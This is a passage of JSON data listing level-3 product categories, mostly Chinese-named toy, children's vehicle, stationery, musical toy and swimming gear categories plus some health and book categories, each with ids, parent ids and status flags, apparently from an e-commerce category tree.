:20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23942,"name":"叠叠圈/叠套玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23938,"name":"建构/拼插积木","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23949,"name":"几何形状套柱","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23945,"name":"螺母拆装/组合玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23952,"name":"螺丝形状配对玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23937,"name":"拼图/拼板","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23944,"name":"敲打台/其他敲打玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23941,"name":"数字屋/形状盒/多孔认知玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23951,"name":"形状配对扭扭蛋","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23946,"name":"婴儿手抓球","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23948,"name":"婴幼儿串珠/绕珠","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23950,"name":"其他形状认知/配对玩具","parent_cid":20459,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23956,"name":"电动/遥控车","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23957,"name":"电动/遥控船类","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23962,"name":"电动/遥控动物/人物","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23959,"name":"电动/遥控飞机","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23958,"name":"电动/遥控轨道","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23963,"name":"电动/遥控机器人","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23965,"name":"发条玩具","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23955,"name":"惯性/回力/滑行玩具","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23953,"name":"其它","parent_cid":20460,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24176,"name":"四驱车零配件/工具","parent_cid":20489,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24177,"name":"遥控车升级件/零配件","parent_cid":20489,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24178,"name":"遥控飞机零配件","parent_cid":20489,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23960,"name":"创意/整蛊玩具","parent_cid":20461,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23967,"name":"电子玩具","parent_cid":20461,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23966,"name":"发光玩具","parent_cid":20461,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23969,"name":"塑料充气玩具(其他材质勿放)","parent_cid":20461,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24037,"name":"拉杆包","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24038,"name":"拉杆箱","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24039,"name":"零钱包","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24036,"name":"书包","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24040,"name":"斜挎包/拎包/腰包","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24041,"name":"行李箱/储物箱","parent_cid":20470,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24154,"name":"奥特曼玩具专区","parent_cid":20484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24152,"name":"儿童机器人/变形玩具","parent_cid":20484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24153,"name":"其他人偶玩具","parent_cid":20484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24126,"name":"多功能棋","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24139,"name":"儿童桌面游戏类","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24122,"name":"飞行棋","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24125,"name":"强手棋/大富翁棋","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24118,"name":"跳棋","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24134,"name":"游戏叠叠乐","parent_cid":20480,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24150,"name":"电动玩具枪","parent_cid":20482,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24146,"name":"软弹枪","parent_cid":20482,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24140,"name":"水枪","parent_cid":20482,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24149,"name":"其他玩具枪","parent_cid":20482,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24168,"name":"app互动玩具","parent_cid":20486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24174,"name":"编程玩具","parent_cid":20486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24175,"name":"意念控制玩具","parent_cid":20486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24030,"name":"仿真/动物玩偶","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24032,"name":"仿真果蔬/食物","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24033,"name":"仿真照相机","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24034,"name":"过家家玩具","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24031,"name":"切切看","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24035,"name":"其它仿真玩具","parent_cid":20469,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24142,"name":"画板","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24144,"name":"画笔/画刷","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24141,"name":"画布","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24147,"name":"绘画桌","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24143,"name":"颜料","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24151,"name":"颜料绘画组合","parent_cid":20483,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24098,"name":"吹泡泡","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24104,"name":"儿童帐篷/游戏屋","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24092,"name":"飞镖/射击/射箭类","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24093,"name":"飞盘/飞碟/竹蜻蜓类","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24090,"name":"风车","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24100,"name":"海洋球/波波球","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24105,"name":"球类玩具/球类运动","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24101,"name":"拳击袋/拳击手套","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24106,"name":"跳跳玩具/跳跃类运动","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24103,"name":"投掷套圈","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24086,"name":"摇马","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24107,"name":"其他户外休闲玩具","parent_cid":20478,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23961,"name":"解锁/解环玩具","parent_cid":20462,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23964,"name":"迷宫类","parent_cid":20462,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23954,"name":"魔方","parent_cid":20462,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23968,"name":"智力解题/通关玩具","parent_cid":20462,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23936,"name":"多米诺骨牌","parent_cid":20456,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23935,"name":"积木","parent_cid":20456,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24056,"name":"车模","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24060,"name":"船舶/舰艇","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24068,"name":"飞机模型","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24067,"name":"火车模型","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24062,"name":"家居/生活场景","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24057,"name":"建筑/DIY小屋/拼装模型","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24059,"name":"军舰/航母","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24063,"name":"木偶/关节木偶","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24061,"name":"坦克/军事战车","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24069,"name":"其他模型玩具","parent_cid":20474,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24113,"name":"白模填色/模具彩绘","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24108,"name":"DIY玉米粒","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24109,"name":"沙画/胶画/画","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24117,"name":"手工创意粘贴类","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24111,"name":"手工串珠/穿珠/首饰编织","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24115,"name":"手工食品制作","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24112,"name":"手工折纸/剪纸书","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24116,"name":"手工制作工具/彩纸/配件","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24110,"name":"织布机/手工编织/刺绣类","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24114,"name":"其他手工制作","parent_cid":20479,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23934,"name":"技术和工程","parent_cid":20455,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":23933,"name":"生命科学","parent_cid":20455,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":24008,"name":"儿童电动车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23995,"name":"儿童滑板车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23990,"name":"滑板/活力板","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23989,"name":"护具","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23997,"name":"溜冰鞋/旱冰鞋","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23994,"name":"扭扭车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23993,"name":"三轮车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23999,"name":"踏行车/滑行学步车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24001,"name":"童车配件","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23988,"name":"头盔","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23996,"name":"自行车","parent_cid":20467,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23974,"name":"笔筒","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23986,"name":"儿童书法用品","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23982,"name":"科学实验","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23980,"name":"描红本/涂色本","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23985,"name":"数学学习板/计算架","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23977,"name":"文件袋","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23983,"name":"文具礼盒/绘画套装","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23984,"name":"坐姿矫正器","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23981,"name":"其他文具","parent_cid":20464,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24124,"name":"八音盒/音乐盒","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24133,"name":"吹奏玩具/乐器","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24128,"name":"打击乐器","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24135,"name":"电动手拍鼓","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24137,"name":"电子琴玩具/儿童电子琴","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24121,"name":"钢琴/玩具钢琴","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24123,"name":"架子鼓","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24127,"name":"乐器套装","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24130,"name":"铃类乐器","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24119,"name":"敲琴","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24120,"name":"沙锤/沙蛋/沙球","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24129,"name":"玩具吉他","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24136,"name":"玩具小提琴/手风琴","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24131,"name":"音乐电话","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24132,"name":"音乐话筒","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24138,"name":"其他音乐玩具/儿童乐器","parent_cid":20481,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24171,"name":"车模","parent_cid":20487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24170,"name":"船模","parent_cid":20487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24172,"name":"固定翼","parent_cid":20487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24169,"name":"坦克","parent_cid":20487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24173,"name":"直升机","parent_cid":20487,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24079,"name":"爬行垫","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24083,"name":"手推学步玩具","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24084,"name":"拖拉学步玩具","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24081,"name":"婴儿健身器","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24082,"name":"幼儿学爬玩具","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24080,"name":"游戏毯/音乐毯","parent_cid":20476,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24102,"name":"宝宝布书","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24097,"name":"拨浪鼓","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24096,"name":"不倒翁","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24094,"name":"布质/软胶积木","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24091,"name":"床铃/床挂","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24095,"name":"手偶/安抚玩偶","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24085,"name":"摇铃","parent_cid":20477,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24013,"name":"蹦床","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24029,"name":"大型组合式游乐设备","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24015,"name":"儿童台球桌","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24025,"name":"儿童玩具墙贴","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24028,"name":"感统训练器材/教学设备","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24011,"name":"滑梯","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24019,"name":"麻将机","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24018,"name":"跷跷板","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24027,"name":"软体组合器材","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24014,"name":"隧道/钻洞","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24020,"name":"摇摆机/摇摇乐","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24024,"name":"游戏围栏","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24017,"name":"游艺机","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24026,"name":"其他游乐设施","parent_cid":20468,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24049,"name":"充气筒","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24045,"name":"儿童鼻夹","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24044,"name":"儿童耳塞","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24052,"name":"儿童救生衣","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24042,"name":"儿童泳镜","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24043,"name":"溶质","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24055,"name":"水上游艺设施","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24047,"name":"戏水/玩沙玩具","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24053,"name":"洗澡书","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24048,"name":"婴儿/儿童游泳圈","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24054,"name":"游泳池","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24046,"name":"浴帽/洗发帽","parent_cid":20471,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24004,"name":"宝宝海报/胎教海报","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23992,"name":"磁性贴","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24009,"name":"多功能玩具台/游戏桌","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23991,"name":"儿童MP3/故事机","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24007,"name":"儿童玩具表","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23987,"name":"贴纸","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24003,"name":"玩具挂图/认知卡","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23998,"name":"早教机/点读学习","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24005,"name":"早教教具/早教套装","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24006,"name":"早教闪卡/潜能开发卡","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24002,"name":"智能公仔/娃娃","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24010,"name":"其它早教玩具类","parent_cid":20466,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":23107,"name":"常见病防治","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23100,"name":"健身","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23103,"name":"家庭医生","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23104,"name":"心理健康","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23105,"name":"饮食营养 食疗","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23106,"name":"中老年保健","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23102,"name":"中医养生","parent_cid":20325,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23301,"name":"报纸订阅","parent_cid":20339,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23302,"name":"期刊订阅","parent_cid":20339,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23133,"name":"儿童书","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23130,"name":"法律/政治/历史","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23134,"name":"工具书","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23129,"name":"管理/经济","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23136,"name":"计算机","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23142,"name":"考试教材","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child"